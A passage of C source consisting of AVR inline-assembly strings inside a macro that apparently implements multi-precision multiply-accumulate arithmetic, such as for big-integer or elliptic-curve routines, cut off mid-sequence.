"adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r10, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r11, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r11, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 